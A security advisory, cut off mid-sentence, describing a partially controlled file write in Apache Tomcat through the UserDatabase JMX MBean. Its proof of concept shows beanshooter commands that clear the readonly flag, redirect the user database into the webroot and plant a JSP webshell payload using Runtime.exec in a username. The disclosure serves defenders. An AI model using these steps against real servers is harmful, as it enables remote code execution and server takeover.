{"id":19202,"date":"2022-11-24T13:47:07","date_gmt":"2022-11-24T12:47:07","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19202"},"modified":"2022-11-24T13:47:15","modified_gmt":"2022-11-24T12:47:15","slug":"usd-2022-0035","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0035\/","title":{"rendered":"usd-2022-0035"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.18.0\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2022-0035 | Partially Controlled File Write in Apache Tomcat via JMX<\/h1>\n<p><span><\/span><\/p>\n<p><strong>Advisory ID<\/strong>: usd-2022-0035<br \/><strong>Product<\/strong>: Apache Tomcat<br \/><strong>Affected Version<\/strong>: Tested on Apache Tomcat 9.0.58, probably others<br \/><strong>Vulnerability Type<\/strong>: Improper Encoding or Escaping of Output (CWE-116)<br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/tomcat.apache.org\/<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: No<br \/><strong>Vendor Status<\/strong>: Not fixed<\/p>\n<blockquote>\n<p>The Tomcat documentation states that JMX access should be treated as local or admin access. Because of this, this issue does not meet the Apache Foundations bar for servicing in a security update. The issues enabling the abuse of the UserDatabase MBean to execute code on the server will be treated as a bug.<\/p>\n<\/blockquote>\n<h3>Affected Component(s)<\/h3>\n<p>The vulnerability affects the <a href=\"\/\/github.com\/apache\/tomcat\/blob\/6382197ad57738dc06209845541c728e584f7c5a\/java\/org\/apache\/catalina\/users\/MemoryUserDatabase.java\">UserDatabase JMX <\/a>component of <em>Apache Tomcat<\/em>. This <em>MBean<\/em> is capable of managing users and roles with access to the <em>Apache Tomcat<\/em> server.<\/p>\n<h3>Description<\/h3>\n<p><em>Apache Tomcat<\/em> is a popular open source webserver for running <em>Java<\/em> based web applications and can be monitored via <em>JMX<\/em>. <em>JMX<\/em> (<em>Java Management Extensions<\/em>), on the other hand, is a popular framework that allows monitoring and maintaining <em>Java <\/em>based applications over the network. Unauthorized access to <em>JMX<\/em> is a well known attack vector that grants the attacker plenty of possibilities to compromise the underlying application server. That being said, the overall exploitability strongly depends on the available <em>MBeans<\/em>, the configured <em>JMX<\/em> permissions and the presence of a <em>Security Manager<\/em>. Depending on the above mentioned settings, the consequences of an attacker with <em>JMX<\/em> access can range from critical <em>Remote Code Execution<\/em> (<em>RCE<\/em>) issues to medium severity information leakage.<\/p>\n<p>Finding new ways of abusing available <em>MBeans<\/em> for malicious purposes is therefore an interesting target for attackers. We identified that the <em>UserDatabase MBean<\/em>, which is available per default on <em>Apache Tomcat<\/em> servers with <em>JMX<\/em> enabled, can be abused to achieve a partially controlled file write. This file write is sufficient to create a <em>JSP webshell<\/em> within the webroot of the server, which leads to remote code execution. The capability of writing webshells via <em>JMX<\/em> is already known (e.g. by changing the log location of the server and creating malicious log entries). However, we consider this issue a security vulnerability because of two reasons:<\/p>\n<ol>\n<li>The file write opportunity created by this issue is way more reliable when using log files.<\/li>\n<li>The issue is caused by an encoding bug within the <em>MemoryUserDatabase<\/em> implementation of <em>Apache Tomcat\u00a0<\/em>and can be resolved by applying proper encoding within this component.<em><\/em><\/li>\n<\/ol>\n<h3>Proof of Concept<\/h3>\n<p>For the following proof of concept, we use an <em>Apache Tomcat<\/em> server located at <strong>172.17.0.2<\/strong> with <em>JMX<\/em> enabled on port <strong>1090<\/strong>. Furthermore, we use the <a href=\"\/\/github.com\/qtc-de\/beanshooter\">beanshooter <\/a>tool to demonstrating a possible attack.<\/p>\n<p>First of all, we can enumerate available methods and attributes from the <em>UserDatabase MBean<\/em> using the following command:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter info <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase<span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] ObjectName: Users:type=UserDatabase,database=UserDatabase<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]     Attributes:<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         modelerType (type: java.lang.String , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         readonly (type: boolean , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         roles (type: [Ljava.lang.String; , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         groups (type: [Ljava.lang.String; , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         users (type: [Ljava.lang.String; , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         pathname (type: java.lang.String , writable: true)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         writable (type: null , writable: false)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]     Operations:<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findGroup(java.lang.String groupname)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeGroup(java.lang.String groupname)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeUser(java.lang.String username)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void save()<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findRole(java.lang.String rolename)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         void removeRole(java.lang.String rolename)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createGroup(java.lang.String groupname, java.lang.String description)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String findUser(java.lang.String username)<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+]         java.lang.String createRole(java.lang.String rolename, java.lang.String description)<\/span><\/pre>\n<\/div>\n<p><em><\/em><\/p>\n<p><em>Apache Tomcat<\/em> users are usually defined within the file <strong>\/usr\/local\/tomcat\/conf\/tomcat-users.xml<\/strong>, but as one can see, the <strong>pathname<\/strong> property of the <em>UserDatabase<\/em> is writable, and it is possible to change the location. Using the <strong>save<\/strong> method, it would then be possible to write the database to the specified location, but there is one problem, and this is the <strong>read-only <\/strong>property. This one prevents the database from being written:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase pathname \/usr\/local\/tomcat\/webapps\/ROOT\/database.xml<br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter invoke <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase --signature <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'save()'<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Call was successful.<\/span><span class=\"go\" style=\"background: #263238;color: #546e7a\">...<\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\"># <\/span>Apache Tomcat logs:<span class=\"go\" style=\"background: #263238;color: #546e7a\">org.apache.catalina.users.MemoryUserDatabase.save User database has been configured to be read only. Changes cannot be saved<\/span><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<p>However, as it turns out, despite the property is marked as being <em>non writable<\/em>, it is actually possible to modify its value. With this modification, it is possible to write the current user database into the webroot:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase <span class=\"nb\" style=\"background: #263238;color: #82aaff\">readonly<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">true<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase <span class=\"nb\" style=\"background: #263238;color: #82aaff\">readonly<\/span> <span class=\"nb\" style=\"background: #263238;color: #82aaff\">false<\/span> --type boolean<span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase <span class=\"nb\" style=\"background: #263238;color: #82aaff\">readonly<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">false<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter attr <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase pathname \/usr\/local\/tomcat\/webapps\/ROOT\/database.xml<span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter invoke <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase --signature <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'save()'<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Call was successful.<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>curl <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2:8080\/database.xml<br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;?xml version='1.0' encoding='utf-8'?&gt;<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;tomcat-users xmlns=\"[http:\/\/tomcat.apache.org\/xml\"]()<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xmlns:xsi=\"[http:\/\/www.w3.org\/2001\/XMLSchema-instance\"]()<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xsi:schemaLocation=\"[http:\/\/tomcat.apache.org\/xml]() tomcat-users.xsd\"<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              version=\"1.0\"&gt;<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;\/tomcat-users&gt;<\/span><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<p>From here, an attacker needs to change the file extension to <strong>.jsp<\/strong> and place a webshell payload within the user database. That being said, this task is not that easy, as the database is in <em>XML<\/em> format and special characters get encoded. For example, creating a new user that contains the payload within the username is not sufficient:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>beanshooter invoke <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2 <span class=\"m\" style=\"background: #263238;color: #f78c6c\">1090<\/span> Users:type<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase,database<span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span>UserDatabase --signature <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'String createUser(String a, String b, String c)'<\/span> <span class=\"s1\" style=\"background: #263238;color: #c3e88d\">'&lt;%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%&gt;'<\/span> foo bar<span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">Users:type=User,username=\"&lt;%Runtime.getRuntime().exec(request.getParameter(\\\"cmd\\\"));%<\/span>&gt;<span class=\"s2\" style=\"background: #263238;color: #c3e88d\">\",database=UserDatabase<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase pathname \/usr\/local\/tomcat\/webapps\/ROOT\/database.xml<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span><span class=\"s2\" style=\"background: #263238;color: #c3e88d\">beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">[+] Call was successful.<\/span><br \/><span class=\"gp\" style=\"background: #263238;color: #ffcb6b\">[user@host ~]$ <\/span>curl <span class=\"m\" style=\"background: #263238;color: #f78c6c\">172<\/span>.17.0.2:8080\/database.xml<br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;?xml version='1.0' encoding='utf-8'?&gt;<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;tomcat-users xmlns=\"[http:\/\/tomcat.apache.org\/xml\"]()<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xmlns:xsi=\"[http:\/\/www.w3.org\/2001\/XMLSchema-instance\"]()<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              xsi:schemaLocation=\"[http:\/\/tomcat.apache.org\/xml]() tomcat-users.xsd\"<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">              version=\"1.0\"&gt;<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">  &lt;user username=\"&amp;lt;%Runtime.getRuntime().exec(request.getParameter(&amp;quot;cmd&amp;quot;));%&amp;gt;\" password=\"test\" fullName=\"test\" groups=\"\" roles=\"\"\/&gt;<\/span><br \/><span class=\"go\" style=\"background: #263238;color: #546e7a\">&lt;\/tomcat-users&gt;<\/span><\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<p>As demonstrated above, the payload gets <em>XML<\/em> encoded and would not execute. However, looking at the source code of <strong>MemoryUserDatabase.java<\/strong> reveals<br \/>that the <em>XML<\/em> encoding is not applied to all attributes:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Print the file prolog<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"&lt;?xml version='1.0' encoding='utf-8'?&gt;\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"&lt;tomcat-users xmlns=\\\"[http:\/\/tomcat.apache.org\/xml\\\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">print<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"              \"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"xmlns:xsi=\\\"[http:\/\/www.w3.org\/2001\/XMLSchema-instance\\\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">]<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">print<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"              \"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"xsi:schemaLocation=\\\"[http:\/\/tomcat.apache.org\/xml]() tomcat-users.xsd\\\"\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"              version=\\\"1.0\\\"&gt;\"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Print entries for each defined role, group, and user<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">Iterator<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">&lt;?&gt;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"kc\" style=\"background: #263238;color: #89ddff\">null<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">;<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">getRoles<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"k\" style=\"background: #263238;color: #bb80b3\">while<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">hasNext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">())<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">print<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"  \"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">next<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">());<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">getGroups<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"k\" style=\"background: #263238;color: #bb80b3\">while<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">hasNext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">())<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">print<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"  \"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">next<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">());<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">getUsers<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">();<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"k\" style=\"background: #263238;color: #bb80b3\">while<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">hasNext<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">())<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">{<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">print<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">\"  \"<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"w\" style=\"background: #263238;color: #eff\">    <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">writer<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">println<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(((<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">MemoryUser<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">values<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">next<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">()).<\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">toXml<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">());<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><br \/><span class=\"p\" style=\"background: #263238;color: #89ddff\">}<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"><\/span><\/pre>\n<\/div>\n<p>Only for user objects the 